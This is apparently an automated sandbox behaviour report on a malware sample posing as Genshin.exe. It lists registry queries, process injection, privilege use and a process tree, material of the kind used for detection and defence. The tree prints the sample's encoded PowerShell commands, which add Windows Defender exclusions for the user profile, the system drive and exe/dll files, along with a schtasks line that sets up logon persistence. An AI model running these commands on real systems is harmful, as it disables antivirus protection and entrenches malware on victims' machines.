c4a3e2b23472bb3b960a8dc1266a2fb1e97238f975957e29c0dd497f632c2cb0

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	Genshin.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3716 set thread context of 1340	3716	System.exe	76
PID 2032 set thread context of 3620	2032	powershell.EXE	87

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\nslooksvc32.job	nslookup.exe
File opened for modification	C:\Windows\Tasks\nslooksvc32.job	nslookup.exe
File created	C:\Windows\Tasks\nslooksvc64.job	nslookup.exe
File opened for modification	C:\Windows\Tasks\nslooksvc64.job	nslookup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
3908	2156	WerFault.exe	63
3476	2156	WerFault.exe	63
1216	620	WerFault.exe	4
2608	2724	WerFault.exe	30
3484	2812	WerFault.exe	29
3004	992	WerFault.exe	51

Checks processor information in registry 2 TTPs 19 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Process not Found

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3672	schtasks.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Process not Found

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	Process not Found

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3340	powershell.exe
3340	powershell.exe
3908	WerFault.exe
3908	WerFault.exe
3860	powershell.exe
3860	powershell.exe
3476	WerFault.exe
3476	WerFault.exe
3716	System.exe
2032	powershell.EXE
2032	powershell.EXE
2464	powershell.EXE
2464	powershell.EXE
2032	powershell.EXE
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
1216	WerFault.exe
1216	WerFault.exe
3620	dllhost.exe
3620	dllhost.exe
2608	Process not Found
2608	Process not Found
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3484	Process not Found
3484	Process not Found
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3620	dllhost.exe
3708	svchost.exe
3708	svchost.exe
3708	svchost.exe
3708	svchost.exe
3620	dllhost.exe
3620	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3260	Genshin.exe
Token: SeDebugPrivilege	3340	powershell.exe
Token: SeRestorePrivilege	3908	WerFault.exe
Token: SeBackupPrivilege	3908	WerFault.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	3716	System.exe
Token: SeDebugPrivilege	2032	powershell.EXE
Token: SeDebugPrivilege	2464	powershell.EXE
Token: SeDebugPrivilege	2032	powershell.EXE
Token: SeDebugPrivilege	3620	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	488	svchost.exe
Token: SeIncreaseQuotaPrivilege	488	svchost.exe
Token: SeSecurityPrivilege	488	svchost.exe
Token: SeTakeOwnershipPrivilege	488	svchost.exe
Token: SeLoadDriverPrivilege	488	svchost.exe
Token: SeSystemtimePrivilege	488	svchost.exe
Token: SeBackupPrivilege	488	svchost.exe
Token: SeRestorePrivilege	488	svchost.exe
Token: SeShutdownPrivilege	488	svchost.exe
Token: SeSystemEnvironmentPrivilege	488	svchost.exe
Token: SeUndockPrivilege	488	svchost.exe
Token: SeManageVolumePrivilege	488	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	488	svchost.exe
Token: SeIncreaseQuotaPrivilege	488	svchost.exe
Token: SeSecurityPrivilege	488	svchost.exe
Token: SeTakeOwnershipPrivilege	488	svchost.exe
Token: SeLoadDriverPrivilege	488	svchost.exe
Token: SeSystemtimePrivilege	488	svchost.exe
Token: SeBackupPrivilege	488	svchost.exe
Token: SeRestorePrivilege	488	svchost.exe
Token: SeShutdownPrivilege	488	svchost.exe
Token: SeSystemEnvironmentPrivilege	488	svchost.exe
Token: SeUndockPrivilege	488	svchost.exe
Token: SeManageVolumePrivilege	488	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	488	svchost.exe
Token: SeIncreaseQuotaPrivilege	488	svchost.exe
Token: SeSecurityPrivilege	488	svchost.exe
Token: SeTakeOwnershipPrivilege	488	svchost.exe
Token: SeLoadDriverPrivilege	488	svchost.exe
Token: SeSystemtimePrivilege	488	svchost.exe
Token: SeBackupPrivilege	488	svchost.exe
Token: SeRestorePrivilege	488	svchost.exe
Token: SeShutdownPrivilege	488	svchost.exe
Token: SeSystemEnvironmentPrivilege	488	svchost.exe
Token: SeUndockPrivilege	488	svchost.exe
Token: SeManageVolumePrivilege	488	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	488	svchost.exe
Token: SeIncreaseQuotaPrivilege	488	svchost.exe
Token: SeSecurityPrivilege	488	svchost.exe
Token: SeTakeOwnershipPrivilege	488	svchost.exe
Token: SeLoadDriverPrivilege	488	svchost.exe
Token: SeSystemtimePrivilege	488	svchost.exe
Token: SeBackupPrivilege	488	svchost.exe
Token: SeRestorePrivilege	488	svchost.exe
Token: SeShutdownPrivilege	488	svchost.exe
Token: SeSystemEnvironmentPrivilege	488	svchost.exe
Token: SeUndockPrivilege	488	svchost.exe
Token: SeManageVolumePrivilege	488	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	488	svchost.exe
Token: SeIncreaseQuotaPrivilege	488	svchost.exe
Token: SeSecurityPrivilege	488	svchost.exe
Token: SeTakeOwnershipPrivilege	488	svchost.exe
Token: SeLoadDriverPrivilege	488	svchost.exe
Token: SeSystemtimePrivilege	488	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2428	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3260 wrote to memory of 2156	3260	Genshin.exe	63
PID 3260 wrote to memory of 2156	3260	Genshin.exe	63
PID 3260 wrote to memory of 2156	3260	Genshin.exe	63
PID 3260 wrote to memory of 3716	3260	Genshin.exe	65
PID 3260 wrote to memory of 3716	3260	Genshin.exe	65
PID 3260 wrote to memory of 3404	3260	Genshin.exe	68
PID 3260 wrote to memory of 3404	3260	Genshin.exe	68
PID 3260 wrote to memory of 3404	3260	Genshin.exe	68
PID 3716 wrote to memory of 364	3716	System.exe	69
PID 3716 wrote to memory of 364	3716	System.exe	69
PID 364 wrote to memory of 3340	364	cmd.exe	71
PID 364 wrote to memory of 3340	364	cmd.exe	71
PID 876 wrote to memory of 2156	876	WerFault.exe	63
PID 876 wrote to memory of 2156	876	WerFault.exe	63
PID 364 wrote to memory of 3860	364	cmd.exe	73
PID 364 wrote to memory of 3860	364	cmd.exe	73
PID 3776 wrote to memory of 2156	3776	WerFault.exe	63
PID 3776 wrote to memory of 2156	3776	WerFault.exe	63
PID 3716 wrote to memory of 1340	3716	System.exe	76
PID 3716 wrote to memory of 1340	3716	System.exe	76
PID 3716 wrote to memory of 1340	3716	System.exe	76
PID 3716 wrote to memory of 1340	3716	System.exe	76
PID 3716 wrote to memory of 1340	3716	System.exe	76
PID 3716 wrote to memory of 1340	3716	System.exe	76
PID 3716 wrote to memory of 1340	3716	System.exe	76
PID 3716 wrote to memory of 1340	3716	System.exe	76
PID 3716 wrote to memory of 1340	3716	System.exe	76
PID 3716 wrote to memory of 1340	3716	System.exe	76
PID 3716 wrote to memory of 1340	3716	System.exe	76
PID 3716 wrote to memory of 524	3716	System.exe	77
PID 3716 wrote to memory of 524	3716	System.exe	77
PID 524 wrote to memory of 3672	524	cmd.exe	79
PID 524 wrote to memory of 3672	524	cmd.exe	79
PID 2032 wrote to memory of 3620	2032	powershell.EXE	87
PID 2032 wrote to memory of 3620	2032	powershell.EXE	87
PID 2032 wrote to memory of 3620	2032	powershell.EXE	87
PID 2032 wrote to memory of 3620	2032	powershell.EXE	87
PID 2032 wrote to memory of 3620	2032	powershell.EXE	87
PID 2032 wrote to memory of 3620	2032	powershell.EXE	87
PID 2032 wrote to memory of 3620	2032	powershell.EXE	87
PID 2032 wrote to memory of 3620	2032	powershell.EXE	87
PID 2032 wrote to memory of 3620	2032	powershell.EXE	87
PID 2032 wrote to memory of 3620	2032	powershell.EXE	87
PID 2032 wrote to memory of 3620	2032	powershell.EXE	87
PID 3620 wrote to memory of 620	3620	dllhost.exe	4
PID 3620 wrote to memory of 672	3620	dllhost.exe	2
PID 3620 wrote to memory of 992	3620	dllhost.exe	51
PID 3620 wrote to memory of 488	3620	dllhost.exe	50
PID 3620 wrote to memory of 740	3620	dllhost.exe	49
PID 3620 wrote to memory of 1044	3620	dllhost.exe	47
PID 3620 wrote to memory of 1176	3620	dllhost.exe	46
PID 3620 wrote to memory of 1384	3620	dllhost.exe	45
PID 3620 wrote to memory of 1452	3620	dllhost.exe	44
PID 3620 wrote to memory of 1568	3620	dllhost.exe	43
PID 3620 wrote to memory of 1600	3620	dllhost.exe	42
PID 3620 wrote to memory of 1680	3620	dllhost.exe	41
PID 3620 wrote to memory of 1836	3620	dllhost.exe	39
PID 3620 wrote to memory of 2000	3620	dllhost.exe	38
PID 3620 wrote to memory of 1232	3620	dllhost.exe	37
PID 3620 wrote to memory of 2216	3620	dllhost.exe	35
PID 3620 wrote to memory of 2232	3620	dllhost.exe	34
PID 3620 wrote to memory of 2284	3620	dllhost.exe	33
PID 3620 wrote to memory of 2428	3620	dllhost.exe	32
PID 3620 wrote to memory of 2520	3620	dllhost.exe	31

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:992
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 992 -s 3312
    3⤵
    - Program crash
    PID:3004
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{bf16c2e3-ef8f-4258-a300-29c6c811aa82}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3620
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 620 -s 424
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:1216

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService
1⤵
PID:2244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1248

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:3788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:4040

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4060

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3912

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3608

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3100

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2812
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 2812 -s 400
  2⤵
  - Program crash
  PID:3484

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2724
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 2724 -s 968
  2⤵
  - Program crash
  PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p
1⤵
PID:2520

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetWindowsHookEx
PID:2428
- C:\Users\Admin\AppData\Local\Temp\Genshin.exe
  "C:\Users\Admin\AppData\Local\Temp\Genshin.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\Antimalware.exe
    "C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\Antimalware.exe"
    3⤵
    - Executes dropped EXE
    PID:2156
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2156 -s 472
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3908
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2156 -s 480
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3476
- - C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\System.exe
    "C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\System.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3716
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:364
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3340
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3860
  - - C:\Windows\System32\nslookup.exe
      C:\Windows\System32\nslookup.exe
      4⤵
      Drops file in Windows directory
      PID:1340
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "System" /tr "C:\Users\Admin\Windows\System.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:524
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "System" /tr "C:\Users\Admin\Windows\System.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:3672
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\Windows\System.exe"
      4⤵
      PID:2832
    - - C:\Users\Admin\Windows\System.exe
        
        C:\Users\Admin\Windows\System.exe
        5⤵
        
        PID:2416
- - C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\Neverlose.exe
    "C:\Users\Admin\AppData\Local\Temp\del2d1c3dff2c7d7e18a\Neverlose.exe"
    3⤵
    - Executes dropped EXE
    PID:3404

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup
1⤵
PID:2232

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2216

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1836

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p
